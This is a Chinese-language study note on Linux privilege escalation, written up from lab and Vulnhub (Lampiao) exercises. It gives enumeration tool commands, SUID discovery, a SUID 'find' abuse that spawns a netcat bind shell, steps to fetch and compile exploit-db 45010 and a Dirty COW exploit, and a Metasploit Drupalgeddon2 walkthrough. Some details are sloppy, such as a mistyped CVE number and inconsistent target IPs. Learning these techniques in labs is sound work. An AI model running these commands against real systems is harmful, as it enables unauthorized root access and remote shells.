权限提升-linux提权手法总结.pdf
链接:https://pan.baidu.com/s/1zTnG-xhx4NwsArY0H5SSHA?pwd=tzn2
提取码:tzn2
两个信息收集:LinEnum,linuxprivchecker
两个漏洞探针:linux-exploit-suggester linux-exploit-suggester2
需要解释:信息收集有什么用哦?漏洞探针又有什么用哦?
项目地址
./LinEnum.sh
主要检测以下几个大类的信息
参考:https://github.com/rebootuser/LinEnum
python 环境
python2 linuxprivchecker.py -w -o linuxprivchecker.log
linuxprivchecker -w -o linuxprivchecker.log
python3 -m linuxprivchecker -w -o linuxprivchecker.log
./linux-exploit-suggester.sh
会检测到当前系统可能存在的漏洞,返回信息比较多,存在误报
perl 语言环境
./linux-exploit-suggester-2.pl
返回可利用漏洞。这里没有可利用漏洞。
**SUID(Set User ID)是一种授予文件的权限类型,允许用户以其所有者的权限执行文件。**例如,ping实用程序需要root权限才能打开网络套接字,但它也需要由标准用户执行,以验证与其他主机的连接。通过将ping程序标记为SUID(所有者为root),只要标准用户执行ping程序,便会以root特权 执行ping。
但是如果某些现有的二进制文件和实用程序具有SUID权限,则可以使用它们将权限升级到root,我们可以使用它来提升我们的特权。
可以允许权限提升的已知Linux可执行文件包括:
以下命令可以发现系统上运行的所有SUID可执行文件。
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
参考利用:
Linux 系统,最常见的文件权限有 3 种,即对文件的读(用 r 表示)、写(用 w 表示)和执行(用 x 表示,针对可执行文件或目录)权限。在 Linux 系统中,每个文件都明确规定了不同身份用户的访问权限,通过 ls 命令即可看到。除此之外,我们有时会看到 **s(针对可执行文件或目录,使文件在执行阶段,临时拥有文件所有者的权限)**和 t(针对目录,任何用户都可以在此目录中创建文件,但只能删除自己的文件)
chmod u+s 给予了 suid u-s 删除了 suid
使程序在运行中受到了 suid root 权限的执行过程导致
举个栗子
探针是否有 SUID(手工或脚本)----特定 SUID 利用-----利用吃瓜-----GG
发现find
touch xiaodi
find xiaodi -exec whoami \;
find xiaodi -exec netcat -lvp 5555 -e /bin/sh \;
netcat xx.xx.xx.xx 5555
靶场地址
连接-----获取可利用漏洞-----下载或上传 EXP-----编译 EXP-----给权限执行-----GG
这一题考核的是CVE-2017-16695
直接开始
wget http://www.exploit-db.com/exploits/45010
连接不上,那就手动下载,再上传
https://www.exploit-db.com/download/45010
gcc 45010.c -o 45010
chmod +x 45010
./45010
id
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-q1niutCt-1651932120579)(https://gitee.com/small-leech-shrimp/typora_pic/raw/master/63-14.png)]
找到key.txt
Linux kernel >= 2.6.22(2007年发行,到2016年10月18日才修复)
低权限用户利用该漏洞可以在众多Linux系统上实现本地提权
该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。具体分析请查看官方分析。
参考:脏牛Linux本地提权漏洞复现(CVE-2016-5195)
查ip
ifconfig
扫描网段
nmap 192.168.80.1/24
发现192.168.80.141的80端口,是这样的
扩大端口扫描范围
nmap -p 1-65535 192.168.80.141
1898端口
CMS为Drupal
网上搜索查找Drupal,或者直接使用msf
msfconsole
search Drupal
use exploit/unix/webapp/drupal_drupalgeddon2
set rhost 192.168.76.141
set rport 1898
set target 0
exploit
上传漏洞探针脚本
upload /root/linux-exploit-suggester.sh /tmp a.sh
创建shell窗口,执行探针脚本
shell
./1.sh
chmod 1.sh
./1.sh
扫描结果
没有使用官方的exp
https://www.jianshu.com/p/df72d1ee1e3e
使用的是上述链接文章中的的EXP二
https://github.com/gbonacini/CVE-2016-5195
upload /root/dcow.cpp /tmp
shell
ls
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dcow dcow.cpp -lutil
python -c 'import pty; pty.spawn("/bin/bash")'
./dcow
https://github.com/rebootuser/LinEnum
https://www.vulnhub.com/entry/lampiao-1,249/
https://github.com/rebeyond/Behinder/releases
https://github.com/mzet-/linux-exploit-suggester
https://github.com/sleventyeleven/linuxprivchecker
https://pentestlab.blog/2017/09/25/suid-executables/
https://github.com/jondonas/linux-exploit-suggester-2
https://www.mozhe.cn/bug/detail/T3ZEbFljRmFKQTVjVitoV2JxUzVoQT09bW96aGUmozhe